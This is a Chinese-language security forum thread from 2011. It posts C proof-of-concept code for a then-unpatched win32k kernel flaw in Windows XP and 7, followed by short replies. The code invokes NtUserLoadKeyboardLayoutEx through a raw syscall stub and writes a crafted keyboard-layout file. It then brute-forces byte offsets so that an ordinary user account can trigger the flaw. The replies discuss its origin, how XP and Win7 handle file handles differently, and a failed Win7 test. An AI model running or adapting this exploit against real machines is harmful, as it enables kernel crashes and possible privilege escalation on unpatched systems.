本论坛为只读模式,仅供查阅,不能注册新用户,不能发帖/回帖,有问题可发邮件 xikug.xp (^) gmail.com
查看: 11912|回复: 25

【目前还是0DAY】 xp/win7 win32k kernel 0day~ [复制链接]

Rank: 5Rank: 5

发表于 2011-11-25 18:24:47 |显示全部楼层
老外今天公布的,改了一下XP的可以支持任意权限用户触发

建立一个名为1123的user权限用户运行可触发~
  1. // poc.cpp :
  2. //

  3. #include "stdafx.h"


  4. #include <windows.h>
  5. #include <stdio.h>
  6. #include <ntsecapi.h>

  7. #pragma comment(lib,"User32.lib")

  8. #define MAGIC_OFFSET 0x6261
  9. #define WIN7 0
  10. #define InitializeUnicodeStr(p,s) {     \
  11.   (p)->Length= wcslen(s)*2;           \
  12.   (p)->MaximumLength = wcslen(s)*2+2; \
  13.   (p)->Buffer = s;                \
  14. }
  15. #if WIN7

  16. _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
  17. (
  18. IN HANDLE Handle,
  19. IN DWORD offTablelow,
  20. IN DWORD offTableHigh,
  21. IN PUNICODE_STRING puszKeyboardName,
  22. IN HKL hKL,
  23. IN PUNICODE_STRING puszKLID,
  24. IN DWORD dwKLID,
  25. IN UINT Flags
  26. )
  27. {
  28.   __asm
  29.   {
  30.     mov     eax,11E3h
  31.       mov edx, 7ffe0300h
  32.       call dword ptr [edx]
  33.      ret     20h
  34.   }
  35. }
  36. #else
  37. _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
  38. (
  39. IN HANDLE Handle,
  40. IN DWORD offTable,
  41. IN PUNICODE_STRING puszKeyboardName,
  42. IN HKL hKL,
  43. IN PUNICODE_STRING puszKLID,
  44. IN DWORD dwKLID,
  45. IN UINT Flags
  46. )
  47. {
  48.   __asm
  49.   {
  50.     mov eax, 000011c6h
  51.       mov edx, 7ffe0300h
  52.       call dword ptr [edx]
  53.     retn 1Ch
  54.   }
  55. }
  56. #endif




  57. unsigned char fakeDll2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  58. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  59. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  60. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35\x44\x01"//0x40 00 00 00   base=fdbbca98 fdbbca00 02443500
  61. "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"//
  62. "\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  63. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  64. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  65. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  66. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  67. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  68. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  69. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  70. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  71. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  72. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  73. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  74. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  75. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  76. "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
  77. "\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
  78. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  79. "\xFF\xFF\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash?? 94 10
  80. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  81. "\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  82. "\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  83. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  84. "\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
  85. "\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index
  86. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  87. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  88. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  89. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  90. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  91. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  92. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  93. "\x00\x00\x00\x00\x00\x00";

  94. ;
  95. UNICODE_STRING  uStr;
  96. UNICODE_STRING uKerbordname;

  97. VOID boom_loadlayout()
  98. {
  99.       
  100.   KEYBDINPUT      kb={0};
  101.   INPUT           vInput={0};

  102.   HANDLE          hFile;
  103.   DWORD           dwFuckS0ny;

  104.   HKL             hKbd;

  105.   WCHAR           lpPath[MAX_PATH]={0};
  106.   WCHAR           lpLayoutFile[MAX_PATH]={L"C:\\DOCUME~1\\1123\\LOCALS~1\\Temp\\lSp0wns.boom111"};

  107.   LPVOID          lpShellPtr;


  108.    
  109.   hFile = CreateFileW(lpLayoutFile,
  110.     GENERIC_READ|GENERIC_WRITE,
  111.     FILE_SHARE_READ|FILE_SHARE_WRITE,
  112.     0,
  113.     CREATE_ALWAYS,
  114.     0,0);

  115.   if( hFile == INVALID_HANDLE_VALUE )
  116.   {
  117.     printf(" \n[!!] Error:errorcode:%x\n",GetLastError());
  118.     return ;
  119.   }

  120.   WriteFile(  hFile,
  121.     fakeDll2,
  122.     sizeof(fakeDll2)-1,
  123.     &dwFuckS0ny,
  124.     NULL);
  125.    CloseHandle(hFile);

  126.   hFile = CreateFileW (lpLayoutFile,
  127.     GENERIC_READ,
  128.     FILE_SHARE_READ,
  129.     0,
  130.     OPEN_EXISTING,
  131.     0,0);

  132.   if( hFile == INVALID_HANDLE_VALUE )
  133.   {
  134.     printf(" \n[!!] Error\n");
  135.     return ;
  136.   }
  137.   hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
  138.   printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101
  139.   /*HKL NTAPI NtUserLoadKeyboardLayoutEx  (  IN HANDLE   Handle,
  140.   IN DWORD   offTable,
  141.   IN PUNICODE_STRING   puszKeyboardName,
  142.   IN HKL   hKL,
  143.   IN PUNICODE_STRING   puszKLID,
  144.   IN DWORD   dwKLID,
  145.   IN UINT   Flags  
  146.   )  */


  147.   CloseHandle(hFile);
  148.   //printf("\n[+] Done\n");
  149. }
  150. int main(int argc, CHAR* argv[])
  151. {

  152.   LoadLibraryA("user32.dll");
  153.   InitializeUnicodeStr(&uStr,L"p3d.dll");//???ú±?D?D?óú3¤?è
  154.   //fix by instruder
  155.   InitializeUnicodeStr(&uKerbordname,L"A");
  156.   uKerbordname.MaximumLength=0;
  157.    
  158.   for (int j=0;j<=2;j++)
  159.   {
  160.     for (int i1=0;i1<=0xff;i1++)
  161.     {
  162.       for (int i2=0;i2<0xff;i2++)
  163.       {
  164.         printf("%x,%x\n",i1,i2);
  165.         fakeDll2[0x3d]=i1;
  166.         fakeDll2[0x3e]=i2;
  167.         fakeDll2[0x3f]=j;
  168.         boom_loadlayout();

  169.       }
  170.     }
  171.   }
  172.    


  173.   return 0;
  174. }//
复制代码

Rank: 1

发表于 2011-11-25 19:23:40 |显示全部楼层
有点危险。

Rank: 1

发表于 2011-11-25 19:48:04 |显示全部楼层
近距离膜拜MJ~~~

Rank: 1

发表于 2011-11-25 19:56:40 |显示全部楼层
试试。。。。

Rank: 1

发表于 2011-11-25 20:14:11 |显示全部楼层
学习

Rank: 1

发表于 2011-11-25 20:57:22 |显示全部楼层
本帖最后由 KeCall 于 2011-11-25 20:58 编辑

围观 + 膜拜

Rank: 2

发表于 2011-11-25 21:38:22 |显示全部楼层
不是老外,翰海源的instruder公布的。

XP下没对文件句柄做任何检测,所以 lpLayoutFile 只要是任何一个可以写入的地址都可以。
win7里面还会限定这个句柄只能是windows/system32下的文件。

Rank: 1

发表于 2011-11-25 22:57:35 |显示全部楼层
KiDebug 发表于 2011-11-25 21:38
不是老外,翰海源的instruder公布的。

XP下没对文件句柄做任何检测,所以 lpLayoutFile 只要是任何一个可 ...

多谢解惑,膜拜

Rank: 5Rank: 5

发表于 2011-11-26 21:34:01 |显示全部楼层
KiDebug 发表于 2011-11-25 21:38
不是老外,翰海源的instruder公布的。

XP下没对文件句柄做任何检测,所以 lpLayoutFile 只要是任何一个可 ...

貌似是用ms10073的POC改的~

Rank: 1

发表于 2011-11-26 23:11:30 |显示全部楼层
悲剧了,补丁娜里找

Rank: 1

发表于 2011-11-27 13:14:08 |显示全部楼层
不大懂

Rank: 1

发表于 2011-11-29 09:51:14 |显示全部楼层
  广告位出租...

Rank: 1

发表于 2011-11-29 12:44:30 |显示全部楼层
究竟是老外发的呢还是instruder发的呢,还是韩海源的instruder桑其实是老外呢

Rank: 5Rank: 5

发表于 2011-11-29 16:18:07 |显示全部楼层
古河 发表于 2011-11-29 12:44
究竟是老外发的呢还是instruder发的呢,还是韩海源的instruder桑其实是老外呢 ...

不认识instruder,看到exploit-db发的,以为是老外呢。

Rank: 1

发表于 2011-12-1 11:15:20 |显示全部楼层
额 我成老外了。。

Rank: 1

发表于 2011-12-2 11:06:40 |显示全部楼层
本帖最后由 pigsces 于 2011-12-2 11:06 编辑

在win7下试了没成功啊,报错了

Rank: 1

发表于 2011-12-2 16:04:56 |显示全部楼层
赶紧回复一哈

Rank: 1

发表于 2012-1-4 14:17:15 |显示全部楼层
kanakn

Rank: 1

发表于 2012-1-25 10:25:24 |显示全部楼层
我也回复一下看看

Rank: 1

发表于 2012-2-13 10:41:41 |显示全部楼层
kanakn
您需要登录后才可以回帖 登录 | 立即加入

Archiver|手机版|第8个男人 - 论坛为只读模式,仅供查阅

GMT+8, 2019-2-22 23:27 , Processed in 0.033742 second(s), 8 queries .

Design by pvo.cn

© 2011 Pvo Inc.

回顶部